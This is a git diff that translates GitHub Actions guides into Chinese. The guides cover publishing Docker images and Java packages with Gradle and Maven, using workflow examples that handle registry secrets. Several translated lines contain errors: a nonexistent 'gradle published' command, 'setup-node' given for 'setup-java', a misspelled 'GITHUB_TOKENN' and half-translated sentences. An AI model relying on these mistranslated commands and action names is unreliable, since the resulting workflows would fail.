         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
           username: {% raw %}${{ github.actor }}{% endraw %}
           password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
-      
+
       - name: Build and push Docker image
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -173,11 +173,11 @@ jobs:
 The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to the Docker registry, and apply the commit SHA and release version as image tags.
 {% endif %}
 
-## Publishing images to Docker Hub and {% data variables.product.prodname_registry %}
+## 发布映像到 Docker Hub 和 {% data variables.product.prodname_registry %}
 
-In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry.
+在单一工作流程中，您可以对每个注册表使用 `login-action` 和 `build-push-action`> 操作，以将 Docker 映像发布到多个注册表。
 
-The following example workflow uses the steps from the previous sections ("[Publishing images to Docker Hub](#publishing-images-to-docker-hub)" and "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") to create a single workflow that pushes to both registries.
+下面的示例工作流程使用前面章节中的步骤（“[发布映像到 Docker Hub](#publishing-images-to-docker-hub)”和“[发布映像到 {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)”）来创建同时推送到两个注册表的单一工作流程。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -198,20 +198,20 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to Docker Hub
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
           password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
-      
+
       - name: Log in to the {% ifversion fpt or ghec %}Container{% else %}Docker{% endif %} registry
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           registry: {% ifversion fpt or ghec %}ghcr.io{% elsif ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
           username: {% raw %}${{ github.actor }}{% endraw %}
           password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
-      
+
       - name: Extract metadata (tags, labels) for Docker
         id: meta
         uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
@@ -219,7 +219,7 @@ jobs:
           images: |
             my-docker-hub-namespace/my-docker-hub-repository
             {% ifversion fpt or ghec %}ghcr.io/{% raw %}${{ github.repository }}{% endraw %}{% elsif ghae %}{% raw %}docker.YOUR-HOSTNAME.com/${{ github.repository }}/my-image{% endraw %}{% else %}{% raw %}docker.pkg.github.com/${{ github.repository }}/my-image{% endraw %}{% endif %}
-      
+
       - name: Build and push Docker images
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -229,5 +229,4 @@ jobs:
           labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action.
-Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}.
+上面的工作流程检出 {% data variables.product.prodname_dotcom %} 仓库，使用两次 `login-action` 操作登录两个注册表，然后使用 `metadata-action` 操作生成标记和标签。 Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}.
diff --git a/translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-gradle.md b/translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
index fa50c59fad..a613bdf0cc 100644
--- a/translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
+++ b/translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Java packages with Gradle
-intro: You can use Gradle to publish Java packages to a registry as part of your continuous integration (CI) workflow.
+title: 使用 Gradle 发布 Java 包
+intro: 您可以使用 Gradle 将 Java 包发布到注册表，作为持续集成 (CI) 工作流程的一部分。
 redirect_from:
   - /actions/language-and-framework-guides/publishing-java-packages-with-gradle
   - /actions/guides/publishing-java-packages-with-gradle
@@ -15,40 +15,40 @@ topics:
   - Publishing
   - Java
   - Gradle
-shortTitle: Java packages with Gradle
+shortTitle: 带有 Gradle 的 Java 包
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
 {% data reusables.github-actions.publishing-java-packages-intro %}
 
-## Prerequisites
+## 基本要求
 
-We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+建议对工作流程文件和配置选项有一个基本了解。 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。
 
-For more information about creating a CI workflow for your Java project with Gradle, see "[Building and testing Java with Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)."
+有关使用 Gradle 为 Java 项目创建 CI 工作流程的详细信息，请参阅“[使用 Gradle 构建和测试用 Java](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)”。
 
-You may also find it helpful to have a basic understanding of the following:
+您可能还发现基本了解以下内容是有帮助的：
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- “[使用 npm 注册表](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)”
+- "[环境变量](/actions/reference/environment-variables)"
+- [加密的密码](/actions/reference/encrypted-secrets)"
+- "[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## 关于包配置
 
-The `groupId` and `artifactId` fields in the `MavenPublication` section of the _build.gradle_ file create a unique identifier for your package that registries use to link your package to a registry.  This is similar to the `groupId` and `artifactId` fields of the Maven _pom.xml_ file.  For more information, see the "[Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html)" in the Gradle documentation.
+_build.gradle_ 文件 `MavenPublication` 部分的 `groupId` 和 `artifactId` 字段为包创建唯一标识符，供注册表用来将包链接到注册表。  这类似于 Maven _pom.xml_ 文件的 `groupId` 和 `artifactId` 字段。  更多信息请参阅 Gradle 文档中的“[Maven 发布插件](https://docs.gradle.org/current/userguide/publishing_maven.html)”。
 
-The _build.gradle_ file also contains configuration for the distribution management repositories that Gradle will publish packages to. Each repository must have a name, a deployment URL, and credentials for authentication.
+_build.gradle_ 文件还包含 Gradle 将在其中部署包的分发管理仓库的配置。 每个仓库必须有名称、部署 URL 和验证凭据。
 
-## Publishing packages to the Maven Central Repository
+## 将包发布到 Maven 中心仓库
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+每次创建新版本时，都可以触发工作流程来发布包。 以下示例中的工作流程在类型为 `created` 的 `release` 事件触发时运行。 如果 CI 测试通过，工作流程将包发布到 Maven 中心仓库。 有关 `release` 事件的更多信息，请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#release)”。
 
-You can define a new Maven repository in the publishing block of your _build.gradle_ file that points to your package repository.  For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _build.gradle_ could specify a repository with the name `"OSSRH"`.
+您可以在 _build.gradle_ 文件的发布块中定义指向包仓库的新 Maven 仓库。  例如，如果您通过 OSSRH 托管项目部署到 Maven 中心仓库，则 _build.gradle_ 可以指定名称为 `"OSSRH"` 的仓库。
 
 {% raw %}
 ```groovy{:copy}
@@ -74,7 +74,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by running the `gradle publish` command. In the deploy step, you’ll need to set environment variables for the username and password or token that you use to authenticate to the Maven repository. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+使用此配置可创建一个工作流程，以通过运行 `gradle publish` 命令将包发布到 Maven 中心仓库。 在部署步骤中，您需要为用于向 Maven 仓库验证身份的用户名和密码或令牌设置环境变量。 更多信息请参阅“[创建和使用加密密码](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -103,19 +103,19 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret.
+1. 运行 `gradle published` 命令以发布到 `OSSRH` Maven 仓库。 `MAVEN_USERNAME` 环境变量将使用 `OSSRH_USERNAME` 密码的内容设置，而 `MAVEN_PASSWORD` 环境变量将使用 `OSSRH_TOKEN` 密码的内容设置。
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   有关在工作流程中使用密码的更多信息，请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## 发布包到 {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+每次创建新版本时，都可以触发工作流程来发布包。 以下示例中的工作流程在类型为 `created` 的 `release` 事件触发时运行。 如果 CI 测试通过，工作流程会将包发布到 {% data variables.product.prodname_registry %}。 有关 `release` 事件的更多信息，请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#release)”。
 
-You can define a new Maven repository in the publishing block of your _build.gradle_ that points to {% data variables.product.prodname_registry %}.  In that repository configuration, you can also take advantage of environment variables set in your CI workflow run.  You can use the `GITHUB_ACTOR` environment variable as a username, and you can set the `GITHUB_TOKEN` environment variable with your `GITHUB_TOKEN` secret.
+您可以在 _build.gradle_ 文件的发布块中定义指向 {% data variables.product.prodname_registry %} 的新 Maven 仓库。  在仓库配置中，您也可以利用在 CI 工作流程运行中设置的环境变量。  您可以使用 `GITHUB_ACTOR` 环境变量作为用户名，并且可以使用 `GITHUB_TOKENN` 密码设置 `GITHUB_TOKEN` 环境变量。
 
 {% data reusables.github-actions.github-token-permissions %}
 
-For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _build.gradle_ would look similar to the below example.
+例如，如果组织名为“octocat”且仓库名为“hello-world”，则 _build.gradle_ 中的 {% data variables.product.prodname_registry %} 配置看起来类似于以下示例。
 
 {% raw %}
 ```groovy{:copy}
@@ -141,7 +141,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by running the `gradle publish` command.
+使用此配置可创建一个工作流程，以通过运行 `gradle publish` 命令将包发布到 {% data variables.product.prodname_registry %}。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -171,19 +171,19 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
+1. 运行 `gradle published` 命令以发布到 {% data variables.product.prodname_registry %}。 `GITHUB_TOKEN` 环境变量将使用 `GITHUB_TOKEN` 密码的内容设置。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   有关在工作流程中使用密码的更多信息，请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %}
+## 发布包到 Maven 中心仓库和 {% data variables.product.prodname_registry %}
 
-You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by configuring each in your _build.gradle_ file.
+您可以通过在 _build.gradle_ 文件中配置每项设置，将包发布到 Maven 中心仓库和 {% data variables.product.prodname_registry %}。
 
-Ensure your _build.gradle_ file includes a repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider.
+确保 _build.gradle_ 文件包含用于 {% data variables.product.prodname_dotcom %} 仓库和 Maven 中心仓库提供商的仓库。
 
-For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `name` set to `OSSRH`. If you deploy to {% data variables.product.prodname_registry %}, you might want to specify it in a distribution management repository with the `name` set to `GitHubPackages`.
+例如，如果您通过 OSSRH 托管项目部署到 Maven 中心仓库，您可能想要在分发管理仓库中指定它，并将 `name` 设置为 `OSSRH`。 如果您部署到 {% data variables.product.prodname_registry %}，您可能想要在分发管理仓库中指定它，并将 `name` 设置为 `GitHubPackages`。
 
-If your organization is named "octocat" and your repository is named "hello-world", then the configuration in _build.gradle_ would look similar to the below example.
+如果组织名为“octocat”且仓库名为“hello-world”，则 _build.gradle_ 中的配置看起来类似于以下示例。
 
 {% raw %}
 ```groovy{:copy}
@@ -217,7 +217,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to both the Maven Central Repository and {% data variables.product.prodname_registry %} by running the `gradle publish` command.
+使用此配置可创建一个工作流程，以通过运行 `gradle publish` 命令将包发布到 Maven 中心仓库和 {% data variables.product.prodname_registry %}。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -250,6 +250,6 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository and {% data variables.product.prodname_registry %}. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
+1. 运行 `gradle published` 命令以发布到 `OSSRH` Maven 仓库和 {% data variables.product.prodname_registry %}。 `MAVEN_USERNAME` 环境变量将使用 `OSSRH_USERNAME` 密码的内容设置，而 `MAVEN_PASSWORD` 环境变量将使用 `OSSRH_TOKEN` 密码的内容设置。 `GITHUB_TOKEN` 环境变量将使用 `GITHUB_TOKEN` 密码的内容设置。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   有关在工作流程中使用密码的更多信息，请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
diff --git a/translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-maven.md b/translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-maven.md
index f87da4e86f..7f24ca8840 100644
--- a/translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-maven.md
+++ b/translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-maven.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Java packages with Maven
-intro: You can use Maven to publish Java packages to a registry as part of your continuous integration (CI) workflow.
+title: 使用 Maven 发布 Java 包
+intro: 您可以使用 Maven 将 Java 包发布到注册表，作为持续集成 (CI) 工作流程的一部分。
 redirect_from:
   - /actions/language-and-framework-guides/publishing-java-packages-with-maven
   - /actions/guides/publishing-java-packages-with-maven
@@ -15,44 +15,44 @@ topics:
   - Publishing
   - Java
   - Maven
-shortTitle: Java packages with Maven
+shortTitle: 带有 Maven 的 Java 包
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
 {% data reusables.github-actions.publishing-java-packages-intro %}
 
-## Prerequisites
+## 基本要求
 
-We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+建议对工作流程文件和配置选项有一个基本了解。 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。
 
-For more information about creating a CI workflow for your Java project with Maven, see "[Building and testing Java with Maven](/actions/language-and-framework-guides/building-and-testing-java-with-maven)."
+有关为使用 Maven 为 Java 项目创建 CI 工作流程的详细信息，请参阅“[使用 Maven 构建和测试用 Java](/actions/language-and-framework-guides/building-and-testing-java-with-maven)”。
 
-You may also find it helpful to have a basic understanding of the following:
+您可能还发现基本了解以下内容是有帮助的：
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- “[使用 npm 注册表](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)”
+- "[环境变量](/actions/reference/environment-variables)"
+- [加密的密码](/actions/reference/encrypted-secrets)"
+- "[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## 关于包配置
 
-The `groupId` and `artifactId` fields in the _pom.xml_ file create a unique identifier for your package that registries use to link your package to a registry.  For more information see [Guide to uploading artifacts to the Central Repository](http://maven.apache.org/repository/guide-central-repository-upload.html) in the Apache Maven documentation.
+_pom.xml_ 文件中的 `groupId` 和 `artifactId` 字段为包创建唯一标识符，供注册表用来将包链接到注册表。  更多信息请参阅 Apache Maven 文档中的[将构件上传到中心仓库的指南](http://maven.apache.org/repository/guide-central-repository-upload.html)。
 
-The _pom.xml_ file also contains configuration for the distribution management repositories that Maven will deploy packages to. Each repository must have a name and a deployment URL. Authentication for these repositories can be configured in the _.m2/settings.xml_ file in the home directory of the user running Maven.
+_pom.xml_ 文件还包含 Maven 将在其中部署包的分配管理仓库的配置。 每个仓库都必须有名称和部署 URL。 这些仓库的身份验证可在运行 Maven 的用户主目录下的 _.m2/settings.xml_ 文件中配置。
 
-You can use the `setup-java` action to configure the deployment repository as well as authentication for that repository. For more information, see [`setup-java`](https://github.com/actions/setup-java).
+您可以使用 `setup-java` 操作配置部署仓库以及该仓库的身份验证。 更多信息请参阅 [`setup-java`](https://github.com/actions/setup-java)。
 
-## Publishing packages to the Maven Central Repository
+## 将包发布到 Maven 中心仓库
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+每次创建新版本时，都可以触发工作流程来发布包。 以下示例中的工作流程在类型为 `created` 的 `release` 事件触发时运行。 如果 CI 测试通过，工作流程将包发布到 Maven 中心仓库。 有关 `release` 事件的更多信息，请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#release)”。
 
-In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, but it also configures a Maven _settings.xml_ for publishing packages. By default, the settings file will be configured for {% data variables.product.prodname_registry %}, but it can be configured to deploy to another package registry, such as the Maven Central Repository. If you already have a distribution management repository configured in _pom.xml_, then you can specify that `id` during the `setup-java` action invocation.
+在此工作流程中，您可以使用 `setup-java` 操作。 此操作将 JDK 的给定版本安装到 `PATH`，但同时会配置 Maven _settings.xml_ 以发布包。 默认情况下，设置文件将配置用于 {% data variables.product.prodname_registry %}，但可以将其配置为部署到另一个包注册表，如 Maven 中心仓库。 如果您已经在 _pom.xml_ 配置分配管理仓库，则可在 `setup-java` 操作调用期间指定该 `id`。
 
-For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _pom.xml_ could specify a distribution management repository with the `id` of `ossrh`.
+例如，如果您通过 OSSRH 托管项目部署到 Maven 中心仓库，则 _pom.xml_ 可以指定 `id` 为 `ossrh` 的分发管理仓库。
 
 {% raw %}
 ```xml{:copy}
@@ -69,9 +69,9 @@ For example, if you were deploying to the Maven Central Repository through the O
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by specifying the repository management `id` to the `setup-java` action. You’ll also need to provide environment variables that contain the username and password to authenticate to the repository.
+使用此配置，可通过将仓库管理 `id` 指定到 `setup-java` 操作，创建一个将包发布到 Maven 中心仓库的工作流程。 您还需要提供包含用户名和密码的环境变量向仓库验证。
 
-In the deploy step, you’ll need to set the environment variables to the username that you authenticate with to the repository, and to a secret that you’ve configured with the password or token to authenticate with.  For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+在部署步骤中，您需要将环境变量设置为向仓库验证的用户名，以及用密码或令牌配置为进行身份验证的密钥。  更多信息请参阅“[创建和使用加密密码](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
 
 {% raw %}
@@ -101,25 +101,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+此工作流程执行以下步骤：
 
-1. Checks out a copy of project's repository.
-1. Sets up the Java JDK, and also configures the Maven _settings.xml_ file to add authentication for the `ossrh` repository using the `MAVEN_USERNAME` and `MAVEN_PASSWORD` environment variables.
+1. 检出项目仓库的副本。
+1. 设置 Java JDK，同时使用 `MAVEN_USERNAME` 和 `MAVEN_PASSWORD` 环境变量配置 Maven _settings.xml_ 文件为 `ossrh` 仓库添加身份验证。
 1. {% data reusables.github-actions.publish-to-maven-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   有关在工作流程中使用密码的更多信息，请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## 发布包到 {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+每次创建新版本时，都可以触发工作流程来发布包。 以下示例中的工作流程在类型为 `created` 的 `release` 事件触发时运行。 如果 CI 测试通过，工作流程会将包发布到 {% data variables.product.prodname_registry %}。 有关 `release` 事件的更多信息，请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#release)”。
 
-In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, and also sets up a Maven _settings.xml_ for publishing the package to {% data variables.product.prodname_registry %}. The generated _settings.xml_ defines authentication for a server with an `id` of `github`, using the `GITHUB_ACTOR` environment variable as the username and the `GITHUB_TOKEN` environment variable as the password. The `GITHUB_TOKEN` environment variable is assigned the value of the special `GITHUB_TOKEN` secret.
+在此工作流程中，您可以使用 `setup-java` 操作。 此操作将给定版本的 JDK 安装到 `PATH`，并且设置 Maven _settings.xml_ 以将包发布到 {% data variables.product.prodname_registry %}。 生成的 _settings.xml_ 定义使用 `github` 的 `id` 向服务器验证，使用 `GITHUB_ACTOR` 环境变量作为用户名，`GITHUB_TOKEN` 环境变量作为密码。 `GITHUB_TOKEN` 环境变量将获分配特殊 `GITHUB_TOKEN` 密钥的值。
 
 {% data reusables.github-actions.github-token-permissions %}
 
-For a Maven-based project, you can make use of these settings by creating a distribution repository in your _pom.xml_ file with an `id` of `github` that points to your {% data variables.product.prodname_registry %} endpoint.
+对于基于 Maven的项目，您可以通过在 _pom.xml_ 文件中创建分发仓库来使用这些设置，该文件以 `github` 的 `id` 指向 {% data variables.product.prodname_registry %} 端点。
 
-For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _pom.xml_ would look similar to the below example.
+例如，如果组织名为“octocat”且仓库名为“hello-world”，则 _pom.xml_ 中的 {% data variables.product.prodname_registry %} 配置看起来类似于以下示例。
 
 {% raw %}
 ```xml{:copy}
@@ -136,7 +136,7 @@ For example, if your organization is named "octocat" and your repository is name
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by making use of the automatically generated _settings.xml_.
+通过此配置，您可以创建一个工作流程，以使用自动生成的 _settings.xml_ 将包发布到 {% data variables.product.prodname_registry %}。
 
 ```yaml{:copy}
 name: Publish package to GitHub Packages
@@ -161,19 +161,19 @@ jobs:
           GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-This workflow performs the following steps:
+此工作流程执行以下步骤：
 
-1. Checks out a copy of project's repository.
-1. Sets up the Java JDK, and also automatically configures the Maven _settings.xml_ file to add authentication for the `github` Maven repository to use the `GITHUB_TOKEN` environment variable.
+1. 检出项目仓库的副本。
+1. 设置 Java JDK，同时自动配置 Maven _settings.xml_ 文件为 `github` Maven 仓库添加身份验证，以使用 `GITHUB_TOKEN` 环境变量。
 1. {% data reusables.github-actions.publish-to-packages-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   有关在工作流程中使用密码的更多信息，请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %}
+## 发布包到 Maven 中心仓库和 {% data variables.product.prodname_registry %}
 
-You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by using the `setup-java` action for each registry.
+您可以使用每个注册表的 `setup-node` 操作将包发布到 Maven 中心仓库和 {% data variables.product.prodname_registry %}。
 
-Ensure your _pom.xml_ file includes a distribution management repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider. For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `id` set to `ossrh`, and you might want to specify {% data variables.product.prodname_registry %} in a distribution management repository with the `id` set to `github`.
+确保 _pom.xml_ 文件包含用于 {% data variables.product.prodname_dotcom %} 仓库和 Maven 中心仓库提供商的分发管理仓库。 例如，如果您通过 OSSRH 托管项目部署到中心仓库，您可能想通过将 `id` 设置为 `ossrh` 在分发管理仓库中指定它，并且想通过将 `id` 设置为 `github` 在分发管理仓库中指定 {% data variables.product.prodname_registry %}。
 
 ```yaml{:copy}
 name: Publish package to the Maven Central Repository and GitHub Packages
@@ -212,14 +212,14 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-This workflow calls the `setup-java` action twice.  Each time the `setup-java` action runs, it overwrites the Maven _settings.xml_ file for publishing packages.  For authentication to the repository, the _settings.xml_ file references the distribution management repository `id`, and the username and password.
+此工作流程将调用 `setup-java` 操作两次。  每次运行 `setup-java` 操作时，都会覆盖 Maven _settings.xml_ 文件以发布包。  为向仓库验证，_settings.xml_ 文件引用分发管理仓库 `id` 以及用户名和密码。
 
-This workflow performs the following steps:
+此工作流程执行以下步骤：
 
-1. Checks out a copy of project's repository.
-1. Calls `setup-java` the first time. This configures the Maven _settings.xml_ file for the `ossrh` repository, and sets the authentication options to environment variables that are defined in the next step.
+1. 检出项目仓库的副本。
+1. 第一次调用 `setup-java`。 这将为 `ossrh` 仓库配置 Maven _settings.xml_ 文件，并将身份验证选项设置为下一步定义的环境变量。
 1. {% data reusables.github-actions.publish-to-maven-workflow-step %}
-1. Calls `setup-java` the second time. This automatically configures the Maven _settings.xml_ file for {% data variables.product.prodname_registry %}.
+1. 第二次调用 `setup-java`。 这将自动为 {% data variables.product.prodname_registry %} 配置 Maven _settings.xml_ 文件。
 1. {% data reusables.github-actions.publish-to-packages-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   有关在工作流程中使用密码的更多信息，请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
diff --git a/translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md b/translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md
index 1e2b38be48..206c9afdcf 100644
--- a/translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md
+++ b/translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md
@@ -1,6 +1,6 @@
 ---
